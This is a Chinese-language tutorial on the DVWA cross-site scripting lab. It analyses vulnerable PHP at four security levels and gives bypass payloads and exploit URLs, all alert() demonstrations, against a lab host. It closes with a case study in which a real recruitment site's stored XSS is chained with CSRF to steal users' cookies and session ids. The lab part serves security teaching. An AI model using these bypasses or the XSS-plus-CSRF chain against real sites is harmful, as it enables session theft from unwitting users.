DVWA之XSS

 

XSS

XSS,全稱Cross Site Scripting,即跨站腳本攻擊,某種意義上也是一種注入攻擊,是指攻擊者在頁面中注入惡意的腳本代碼,當受害者訪問該頁面時,惡意代碼會在其瀏覽器上執行,須要強調的是,XSS不只僅限於JavaScript,還包括flash等其它腳本語言。根據惡意代碼是否存儲在服務器中,XSS能夠分爲存儲型的XSS與反射型的XSS。php

DOM型的XSS因爲其特殊性,經常被分爲第三種,這是一種基於DOM樹的XSS。例如服務器端常用document.boby.innerHtml等函數動態生成html頁面,若是這些函數在引用某些變量時沒有進行過濾或檢查,就會產生DOM型的XSS。DOM型XSS多是存儲型,也有多是反射型。html

(注:下面的實驗都是在Firefox瀏覽器下進行的,感謝火狐沒作XSS filter)前端

反射型XSS

下面對四種級別的代碼進行分析。mysql

Low

服務器端核心代碼web

<?php 

// Is there any input? 

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 

    // Feedback for end user 

    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 

} 

?>

能夠看到,代碼直接引用了name參數,並無任何的過濾與檢查,存在明顯的XSS漏洞。正則表達式

漏洞利用sql

輸入<script>alert(/xss/)</script>,成功彈框:數據庫

1.png

相應的XSS連接:瀏覽器

http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(/xss/)%3C%2Fscript%3E#服務器

Medium

服務器端核心代碼

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
?>

能夠看到,這裏對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將輸入中的<script>刪除,這種防禦機制是能夠被輕鬆繞過的。

漏洞利用

1.雙寫繞過

輸入<sc<script>ript>alert(/xss/)</script>,成功彈框:

1.png

相應的XSS連接

http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Csc%3Cscript%3Eript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

2.大小寫混淆繞過

輸入<ScRipt>alert(/xss/)</script>,成功彈框:

1.png

相應的XSS連接:

http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3CScRipt%3Ealert(%2Fxss%2F)%3C%2Fscript%3E

High

服務器端核心代碼

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
?>

能夠看到,High級別的代碼一樣使用黑名單過濾輸入,preg_replace()函數用於正則表達式的搜索和替換,這使得雙寫繞過、大小寫混淆繞過(正則表達式中i表示不區分大小寫)再也不有效。

漏洞利用

雖然沒法使用<script>標籤注入XSS代碼,可是能夠經過img、body等標籤的事件或者iframe等標籤的src注入惡意的js代碼。

輸入<img src=1 οnerrοr=alert(/xss/)>,成功彈框:

1.png

相應的XSS連接:

http://192.168.153.130/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E#

Impossible

服務器端核心代碼

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 
    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?>

能夠看到,Impossible級別的代碼使用htmlspecialchars函數把預約義的字符&、」、 ’、<、>轉換爲HTML實體,防止瀏覽器將其做爲HTML元素。

存儲型XSS

下面對四種級別的代碼進行分析。

Low

服務器端核心代碼

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    // Sanitize name input 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); 
} 
?>

相關函數介紹

trim(string,charlist)

函數移除字符串兩側的空白字符或其餘預約義字符,預約義字符包括、\t、\n、\x0B、\r以及空格,可選參數charlist支持添加額外須要刪除的字符。

mysql_real_escape_string(string,connection)

函數會對字符串中的特殊符號(\x00,\n,\r,\,‘,「,\x1a)進行轉義。

stripslashes(string)

函數刪除字符串中的反斜槓。

能夠看到,對輸入並無作XSS方面的過濾與檢查,且存儲在數據庫中,所以這裏存在明顯的存儲型XSS漏洞。

漏洞利用

message一欄輸入<script>alert(/xss/)</script>,成功彈框:

1.png

name一欄前端有字數限制,抓包改成<script>alert(/name/)</script>:

1.png

成功彈框:

1.png

Medium

服務器端核心代碼

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = strip_tags( addslashes( $message ) ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input 
    $name = str_replace( '<script>', '', $name ); 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); 
} 
?>

相關函數說明

strip_tags() 函數剝去字符串中的HTML、XML以及PHP的標籤,但容許使用<b>標籤。

addslashes() 函數返回在預約義字符(單引號、雙引號、反斜槓、NULL)以前添加反斜槓的字符串。

能夠看到,因爲對message參數使用了htmlspecialchars函數進行編碼,所以沒法再經過message參數注入XSS代碼,可是對於name參數,只是簡單過濾了<script>字符串,仍然存在存儲型的XSS。

漏洞利用

1.雙寫繞過

抓包改name參數爲<sc<script>ript>alert(/xss/)</script>:

1.png

成功彈框:

1.png

2.大小寫混淆繞過

抓包改name參數爲<Script>alert(/xss/)</script>:

1.png

成功彈框:

1.png

High

服務器端核心代碼

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = strip_tags( addslashes( $message ) ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); 
} 
?>

能夠看到,這裏使用正則表達式過濾了<script>標籤,可是卻忽略了img、iframe等其它危險的標籤,所以name參數依舊存在存儲型XSS。

High

抓包改name參數爲<img src=1 οnerrοr=alert(1)>:

1.png

成功彈框:

1.png

Impossible

服務器端核心代碼

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input 
    $name = stripslashes( $name ); 
    $name = mysql_real_escape_string( $name ); 
    $name = htmlspecialchars( $name ); 
    // Update database 
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); 
    $data->bindParam( ':message', $message, PDO::PARAM_STR ); 
    $data->bindParam( ':name', $name, PDO::PARAM_STR ); 
    $data->execute(); 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?>

能夠看到,經過使用htmlspecialchars函數,解決了XSS,可是要注意的是,若是htmlspecialchars函數使用不當,攻擊者就能夠經過編碼的方式繞過函數進行XSS注入,尤爲是DOM型的XSS。

最後附贈最近遇到的一個實例:一次有趣的XSS+CSRF組合拳

0×01 前言

最近執着於滲透各類xx人才網,前兩天在某網站上發現了一個極其雞肋的XSS漏洞,原本覺得沒有太大的利用價值,沒想到結合CSRF攻擊,卻得到了意想不到的效果。

0×02 一個雞肋的XSS漏洞

下面是某個招聘網站的用戶我的資料界面:

1.png

用戶能夠在這裏修改本身的基本資料並保存,通過XSS測試,這裏的輸入都過濾了成對的尖括號(< >)、script、img、&等字符,可是彷佛遺漏了事件,因而嘗試使用input標籤的onchange事件注入XSS代碼。

在通信地址一欄輸入」 οnchange=alert(2) 「並保存,刷新頁面,右鍵查看源碼,注入成功:

1.png

只要嘗試在通信地址一欄中輸入新的內容,就會觸發XSS,彈框:

1.png

是的,成功觸發XSS代碼了,但是這個雞肋的XSS漏洞有什麼卵用呢?首先,這個XSS漏洞依賴事件觸發,只有用戶在修改我的資料時惡意代碼纔有可能執行,其次這是一個存儲型的XSS漏洞,你不可能要求用戶按照攻擊者的意思,事先在本身的我的資料裏鍵入XSS代碼並保存吧。

0×03 CSRF帶來的曙光

在修改我的資料的過程當中,抓包發現這個修改接口並無任何的防CSRF機制,存在明顯的CSRF漏洞:

1.png

這給雞肋的XSS漏洞帶來了曙光,因而想到了能夠結合CSRF攻擊實現用戶cookie的大面積盜取。攻擊思路以下:

1.構造一個CSRF攻擊頁面,誘使用戶訪問(在這種招聘網站,發佈一個包含惡意頁面的虛假招聘很容易作到)

2.用戶訪問頁面後,我的基本資料會被清空,同時注入XSS代碼

3.用戶嘗試補全我的資料,觸發XSS代碼,自動發送cookie

0×04 攻擊演示

下面是構造的CSRF攻擊頁面:

1.png

調皮地把cookie發(這裏調皮地把cookie發給百度= =)

下面是本地的攻擊過程演示:

1.受害者進入攻擊頁面,會看到「你的基本資料被我清空了」的提示:

1.png

還會看到資料修改爲功的提示,並跳轉:

1.png

2.這時候受害者會發現本身的我的資料被清空了:

1.png

殊不知道已經被注入了XSS代碼:

1.png

3.當用戶嘗試修改通信地址一欄時,就會觸發XSS代碼,自動發送cookie(其中包含用戶id、用戶名、密碼哈希值、session-id) :

1.png

這樣,大規模盜取用戶cookie的攻擊也就完成了。

*本文原創做者:lonehand

轉自:http://www.freebuf.com/articles/web/123779.html

本文同步分享在 博客「謝公子」(CSDN)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索